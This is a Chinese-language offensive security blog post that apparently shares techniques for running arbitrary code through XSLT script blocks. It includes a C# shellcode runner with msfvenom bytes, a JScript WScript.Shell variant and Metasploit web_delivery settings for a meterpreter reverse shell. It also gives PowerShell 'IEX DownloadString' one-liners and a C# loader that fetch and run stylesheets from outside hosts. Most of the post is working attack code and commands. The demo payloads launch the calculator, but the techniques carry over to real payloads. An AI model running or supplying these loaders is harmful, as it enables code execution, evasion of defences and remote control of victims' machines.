0x00 简介

XSLT全称为拓展样式表转换语言,是一种用于将 XML 文档转换为 XHTML 文档或其他 XML 文档的语言。更多关于XSLT的教程可以参考W3school。关于XSLT的hack技巧之前已经有老师总结了WebShell系列(一)---XML,里面详细介绍了怎么通过xslt构造webshell,并且可以看的出,通过XSLT可以执行很多类型的脚本,前段时间@Casey Smith公开了一个Execute C# From XSLT 的POC,感觉很有趣,所以简单的研究了一下,也就有了此文。

0x01 POC

Casey Smith分享的poc如下:
calc.xslt


<xsl:stylesheet version="2.0"
                xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                xmlns:msxsl="urn:schemas-microsoft-com:xslt"
                xmlns:my="urn:MyModule">

  <msxsl:script implements-prefix="my" language="C#">
    public void Exec()
    {
      System.Diagnostics.Process.Start("Calc.exe");
    }
  </msxsl:script>

  <xsl:template match="data">
    <result>
      <xsl:value-of select="my:Exec()" />
    </result>
  </xsl:template>
</xsl:stylesheet>

其中xsl:stylesheet用来定义样式表的根元素;version是其必须的属性,用来规定样式表的XSLT 版本;xmlns:xsl名称空间,值固定;要使用msxsl:script元素,由于其属于命名空间urn:schemas-microsoft-com:xslt,所以样式表必须包含命名空间声明;xmlns:my定义命名空间,名字随意,需要注意的是下面的implements-prefix的值要与其一致。

msxsl:script定义如下:

<msxsl:script language = "language-name" implements-prefix = "prefix of user namespace"> </msxsl:script>

其中 msxsl 是绑定到命名空间 urn:schemas-microsoft-com:xslt 的前缀。
language 属性不是强制属性,但如果指定该属性,其值必须是下列值之一:C#、VB、JScript、JavaScript、VisualBasic 或 CSharp。 如果未指定,则默认语言为 JScript。
implements-prefix属性是必选项。 此属性用于声明命名空间并将其与脚本块关联。

xsl:template元素包含了当匹配指定节点时要应用的规则,match 属性用于把模板关联到某个 XML 元素,在这里关联了example.xml,如下:

<?xml version="1.0"?><data></data>

xsl:value-of 元素用于提取某个选定节点的值。在这里也就是执行我们的函数。

执行其POC,可以成功执行C#代码。

1.gif

0x02 优化

为了更方便使用,将powershell代码修改成可远程加载的代码,地址为:xslt_exec.ps1 使用此脚本可加载远程及本地XSL文件并执行其中的代码。使用方式很简单,以下为DEMO:

2.gif

如果想远程加载执行可以这样:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/xslt_poc/master/xslt_exec.ps1'); xslt_exec -xslt_url https://raw.githubusercontent.com/Ridter/xslt_poc/master/calc.xslt"

3.gif

0x03 Exec Shellcode

既然能执行C#,那怎么执行ShellCode呢,其实很简单,参考Casey Smith给出的代码,修改代码如下:
shellcode.xslt

<xsl:stylesheet version="2.0"
                xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                xmlns:msxsl="urn:schemas-microsoft-com:xslt"
                xmlns:shellcode="urn:MyModule">

  <msxsl:script implements-prefix="shellcode" language="C#">
  <msxsl:using namespace="System.Runtime.InteropServices" />  
<![CDATA[
     private static UInt32 MEM_COMMIT = 0x1000;          
     private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
     [DllImport("kernel32")]
     private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
     [DllImport("kernel32")]
     private static extern IntPtr CreateThread(            
        UInt32 lpThreadAttributes,
        UInt32 dwStackSize,
        UInt32 lpStartAddress,
        IntPtr param,
        UInt32 dwCreationFlags,
        ref UInt32 lpThreadId           
     );
     [DllImport("kernel32")]
     private static extern UInt32 WaitForSingleObject(           
        IntPtr hHandle,
        UInt32 dwMilliseconds
     );     

       public void Exec()
     {      
             #msfvenom --payload  windows/x64/exec CMD="calc" EXITFUNC=thread -f csharp
           byte[] shellcode = new new byte[272] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x00 };
              
           UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
           Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
           IntPtr hThread = IntPtr.Zero;
           UInt32 threadId = 0;
           IntPtr pinfo = IntPtr.Zero;
           hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
           WaitForSingleObject(hThread, 0xFFFFFFFF);            
    }
]]>
  </msxsl:script>

  <xsl:template match="data">
    <result>
      <xsl:value-of select="shellcode:Exec()" />
    </result>
  </xsl:template>
</xsl:stylesheet>

shellcode可以通过msf来生成,具体生成方法在代码里已经给出,测试如下:

4.gif

0x04 Exec JScript

既然xslt可以执行多种脚本,当然也包括JScript,代码如下:

<xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:msxsl="urn:schemas-microsoft-com:xslt"
      xmlns:user="http://mycompany.com/mynamespace">

 <msxsl:script language="JScript" implements-prefix="user">
<![CDATA[
      function test(){
        var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); 
      }
    ]]>
      </msxsl:script>

  <xsl:template match="data">
    <result>
      <xsl:value-of select="user:test()" />
    </result>
  </xsl:template>
</xsl:stylesheet>

远程加载如下:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/xslt_poc/master/xslt_exec.ps1'); xslt_exec -xslt_url https://raw.githubusercontent.com/Ridter/xslt_poc/master/js_calc.xslt"

之前Casey Smith分享过一个JS Dropper戳我。里面多了一个调用certuil.exe对文件进行base64加解密,这里当然也可以实现,具体代码就不贴了,地址在这

0x05 Get Meterpreter

说了这么多,有人可能会问怎么才能获得meterpreter,其实很简单,实现代码在这。首先msf开启监听:

use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.100.101
set lport 8889
set uripath xslt
exploit

然后修改meter.xslt,之后用ps来加载就可以了。

5.gif

0x06 Other

当然,除了powershell可以调用xslt,其他语言也可以,这里分享一个C#的,代码如下:

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Xml.XPath;
using System.Xml.Xsl;
using System.Xml;
namespace ApplyXSLTToXML
{
    class Program
    {
        static void Main(string[] args)
        {
            string XMLFilePath = @"http://evi1cg.me/scripts/example.xml";
            string XSLTFilePath = @"http://evi1cg.me/scripts/calc.xslt";
            try
            {
                XsltSettings xslt_settings = new XsltSettings(false, true);
                xslt_settings.EnableScript = true;
                XslCompiledTransform xslt = new XslCompiledTransform();
                XmlUrlResolver resolver = new XmlUrlResolver();
                // Load documents 
                xslt.Load(XSLTFilePath, xslt_settings, resolver);
                XPathDocument xmlPathDoc = new XPathDocument(XMLFilePath);
                XmlWriterSettings settings = new XmlWriterSettings();
                settings.Indent = true;
                settings.OmitXmlDeclaration = true;
                XmlWriter writer = XmlWriter.Create("output.xml", settings);
                xslt.Transform(xmlPathDoc,writer);
                writer.Close();

            }
            catch (Exception e)
            {

                Console.WriteLine("Error:");
                Console.WriteLine(e.Message);

            }
        }
    }
}

其他语言的,如果需要,还希望小伙伴们自己动手写写。

0x07 小结

以上仅作为一个技术分享,代码均已在github分享,地址xslt_poc,希望对你有所启发。

最后由 Evi1cg 编辑于2017年01月16日 21:25